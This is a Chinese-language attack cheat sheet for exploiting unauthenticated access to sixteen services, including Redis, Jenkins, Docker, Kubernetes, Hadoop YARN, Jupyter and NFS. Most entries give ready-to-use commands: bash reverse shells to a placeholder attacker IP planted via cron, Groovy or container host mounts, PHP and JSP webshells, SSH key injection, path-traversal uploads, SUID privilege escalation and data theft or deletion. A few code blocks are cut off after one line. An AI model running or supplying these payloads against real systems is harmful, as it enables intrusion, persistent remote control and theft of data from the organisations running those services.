1. Redis 未授权访问(默认端口 6379)
漏洞特征
-
默认无密码验证,允许匿名登录;
-
4.x/5.0.5 前版本支持通过主从复制加载恶意模块执行命令;
-
高权限运行时可写入系统文件(如计划任务、SSH 密钥)。
利用方式
-
计划任务反弹 Shell
1
2
3
4
5
6
7
8# 本地监听端口
nc -lvp 4444
# 连接目标Redis并写入任务
redis-cli -h 目标IP
set x "\n* * * * * bash -i >& /dev/tcp/攻击者IP/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save -
写入 SSH 公钥登录
1
2
3
4
5
6
7
8
9
10# 本地生成密钥对
ssh-keygen -t rsa -P ''
# 写入目标authorized_keys
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
redis-cli -h 目标IP -x set pub < foo.txt
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
# 登录目标
ssh -i id_rsa root@目标IP -
写入 Webshell
1
2
3
4
5redis-cli -h 目标IP
config set dir /var/www/html/ # Web目录路径
config set dbfilename shell.php
set webshell "<?php @eval($_POST['cmd']);?>"
save
2. Jenkins 未授权访问(默认端口 8080)
漏洞特征
-
管理面板可直接执行系统命令;
-
未启用认证时,攻击者可访问
/manage路径操控服务。
利用方式
-
执行系统命令反弹 Shell 访问
http://目标IP:8080/script,输入 Groovy 脚本:1
"bash -i >& /dev/tcp/攻击者IP/4444 0>&1".execute()
-
写入 Webshell
1
2// 写入JSP木马到工作目录
new File("/var/lib/jenkins/workspace/shell.jsp").write('<% out.println("Hello"); %>')
3. MongoDB 未授权访问(默认端口 27017)
漏洞特征
-
默认无权限验证,允许匿名用户对数据库执行增删改查;
-
绑定 0.0.0.0 时可被外网访问。
利用方式
1 | # 连接目标数据库 |
4. ZooKeeper 未授权访问(默认端口 2181)
漏洞特征
-
分布式协调服务,默认无认证;
-
可通过命令获取系统信息或干扰服务。
利用方式
-
获取系统环境信息
1
echo envi | nc 目标IP 2181 # 返回Java环境、系统名称等
-
连接服务执行操作
1
2
3./zkCli.sh -server 目标IP:2181 # 连接服务
ls / # 查看节点
delete /敏感节点 # 删除关键节点干扰服务
5. Elasticsearch 未授权访问(默认端口 9200/9300)
漏洞特征
-
开源版本无默认认证,HTTP 接口可直接操作索引;
-
可通过 API 读取、修改或删除数据。
利用方式
1 | # 查看节点信息 |
6. Docker 未授权访问(默认端口 2375)
漏洞特征
-
Docker API 可远程操控容器;
-
未限制访问时,攻击者可创建容器挂载宿主机目录。
利用方式
-
列出容器并控制
1
2
3
4# 查看容器列表
curl http://目标IP:2375/containers/json
# 启动容器
curl -X POST http://目标IP:2375/containers/容器ID/start -
挂载宿主机目录获取权限
1
2
3
4
5
6
7
8# 创建挂载宿主机根目录的容器
curl -X POST -H "Content-Type: application/json" http://目标IP:2375/containers/create -d '{
"Image": "alpine",
"Cmd": ["/bin/sh", "-c", "echo 'bash -i >& /dev/tcp/攻击者IP/4444 0>&1' > /mnt/var/spool/cron/root"],
"HostConfig": {"Binds": ["/:/mnt"]}
}'
# 启动容器执行命令
curl -X POST http://目标IP:2375/containers/新容器ID/start
7. JBoss 未授权访问(默认端口 8080)
漏洞特征
-
低版本默认开放
/jmx-console等管理接口; -
可直接部署恶意 WAR 包或执行命令。
利用方式
-
部署 Webshell 访问
http://目标IP:8080/jmx-console,通过jboss.web.deployment接口部署包含 webshell 的 WAR 包(如shell.war,访问路径http://目标IP:8080/shell/shell.jsp)。 -
工具利用
1
python jexboss.py -u http://目标IP:8080 # 自动检测并获取shell
8. Memcached 未授权访问(默认端口 11211)
漏洞特征
-
内存缓存系统,默认无权限控制;
-
公网暴露时可被直接读取缓存中的敏感数据(如用户会话、数据库连接信息)。
利用方式
1 | # 连接目标服务 |
9. ActiveMQ 未授权访问(默认端口 8161)
漏洞特征
-
消息中间件,默认管理后台路径
/admin,弱口令(admin/admin)常见; -
未授权可查看队列、发送恶意消息。
利用方式
-
登录管理后台 访问
http://目标IP:8161/admin,使用默认账号 admin/admin 登录,查看Queues列表,发送包含恶意代码的消息(如触发消费端代码执行)。 -
文件上传 Getshell 利用
/fileserver接口上传 webshell(需路径遍历漏洞配合):1
curl -X PUT http://目标IP:8161/fileserver/../webapps/api/shell.jsp --data-binary '<% out.println("Hello"); %>'
10. Jupyter Notebook 未授权访问(默认端口 8888)
漏洞特征
-
Python 交互式笔记本,未配置密码时可直接访问;
-
支持执行 Python 代码,可调用系统命令。
利用方式
-
执行系统命令 访问
http://目标IP:8888,创建新的 “Console”,输入 Python 代码:1
2import os
os.system("bash -i >& /dev/tcp/攻击者IP/4444 0>&1") # 反弹shell -
文件操作
1
2
3# 读取敏感文件
with open("/etc/passwd", "r") as f:
print(f.read())
11. Hadoop YARN 未授权访问(默认端口 8088)
漏洞特征
-
分布式资源管理器,未授权可访问
/ws/v1/cluster等接口; -
可提交包含恶意命令的应用程序。
利用方式
-
提交恶意应用
使用 Python 脚本提交应用,执行反弹 shell 命令:
1
2
3
4
5
6
7
8
9
10
11# 参考脚本:yarn-rce.py
import requests
url = "http://目标IP:8088/ws/v1/cluster/apps/new-application"
app_id = requests.post(url).json()["application-id"]
payload = {
"application-id": app_id,
"am-container-spec": {
"commands": {"command": "bash -i >& /dev/tcp/攻击者IP/4444 0>&1"}
}
}
requests.post("http://目标IP:8088/ws/v1/cluster/apps", json=payload)
12. Kubernetes API 未授权访问(默认端口 8080/10250)
漏洞特征
-
容器集群管理接口,未限制访问时可操控集群资源;
-
可创建 Pod、删除节点等。
利用方式
-
创建恶意 Pod
1
2
3
4
5
6
7
8
9
10
11
12
13
14# 发送创建Pod请求(挂载宿主机根目录)
curl -X POST -H "Content-Type: application/json" http://目标IP:8080/api/v1/namespaces/default/pods -d '{
"apiVersion": "v1",
"kind": "Pod",
"spec": {
"containers": [{
"name": "test",
"image": "alpine",
"command": ["/bin/sh", "-c", "echo 'bash -i >& /dev/tcp/攻击者IP/4444 0>&1' > /host/var/spool/cron/root"],
"volumeMounts": [{"name": "host", "mountPath": "/host"}]
}],
"volumes": [{"name": "host", "hostPath": {"path": "/"}}]
}
}'
13. RabbitMQ 未授权访问(常见端口 15672、15692、25672)
漏洞特征
-
消息中间件,默认管理界面端口 15672(HTTP)、25672(AMQP 协议),15692(HTTPS,若启用);
-
默认账号
guest/guest仅限本地访问,配置错误时可能允许远程登录;未设置认证时可直接操作队列。
利用方式
-
登录管理界面操作队列 访问
http://目标IP:15672,尝试用guest/guest登录(若远程可访问)。成功后:-
查看队列列表:获取
Queues中存储的消息类型、数量等信息; -
发送恶意消息:向队列提交含恶意代码的消息(如触发消费端代码执行漏洞);
-
删除关键队列:执行
Delete操作中断业务通信。
-
-
通过 AMQP 协议远程操控 使用
pika(Python 库)连接 25672 端口,未授权时可直接发送 / 接收消息:1
2
3
4
5
6import pika
connection = pika.BlockingConnection(pika.ConnectionParameters('目标IP', 25672))
channel = connection.channel()
# 发送恶意消息到队列
channel.basic_publish(exchange='', routing_key='敏感队列名', body='恶意代码')
connection.close()
14. LDAP 未授权访问(默认端口 389、636)
漏洞特征
-
轻量级目录访问协议,用于存储用户信息、组织结构等;
-
默认无认证机制,公网暴露时可被枚举敏感数据(如用户名、邮箱、权限组)。
利用方式
-
枚举目录信息 使用
ldapsearch工具查询目录结构:1
2# 匿名查询所有数据
ldapsearch -x -h 目标IP -p 389 -b "dc=example,dc=com" "(objectClass=*)"结果可能包含:
-
用户列表:
cn=user1,ou=users,dc=example,dc=com及密码哈希; -
权限组:
cn=admin,ou=groups,dc=example,dc=com的成员信息。
-
-
修改用户权限(配置不当场景) 若目录允许匿名写入,可添加用户到管理员组:
1
ldapmodify -x -h 目标IP -D "cn=admin,dc=example,dc=com" -f add_admin.ldif
(
add_admin.ldif中定义将用户添加至admin组的操作)
15. FTP 未授权访问(默认端口 21)
漏洞特征
-
文件传输协议,默认支持匿名登录(用户名
anonymous,密码任意); -
配置不当可导致敏感文件泄露或恶意文件上传。
利用方式
-
匿名登录下载敏感文件 使用
ftp命令或 FileZilla 连接:1
2
3
4ftp 目标IP 21
# 用户名输入anonymous,密码留空
ftp> ls # 列出共享目录
ftp> get 数据库备份.sql # 下载敏感文件 -
上传恶意文件获取权限 若目录可写,上传反弹 shell 脚本(如
shell.sh):1
2ftp> put shell.sh # 上传脚本至服务器
# 若服务器存在自动执行机制(如定时任务),脚本触发后反弹shell
16. NFS 未授权访问(常见端口 2049、20048)
漏洞特征
-
网络文件系统,用于共享目录;
-
配置
*(rw,no_root_squash)时,所有主机可读写共享目录,甚至获取 root 权限。
利用方式
-
挂载共享目录窃取数据
1
2
3
4
5
6# 查看共享目录
showmount -e 目标IP # 输出:/data *(rw,no_root_squash)
# 挂载到本地
mount -t nfs 目标IP:/data /tmp/nfs
# 访问敏感文件
cat /tmp/nfs/企业财务数据.xlsx -
通过
no_root_squash提权 在本地创建含 SUID 权限的恶意程序,上传至共享目录:1
2gcc -o /tmp/nfs/shell shell.c # shell.c含setuid(0)代码
chmod 4777 /tmp/nfs/shell在目标服务器执行
/data/shell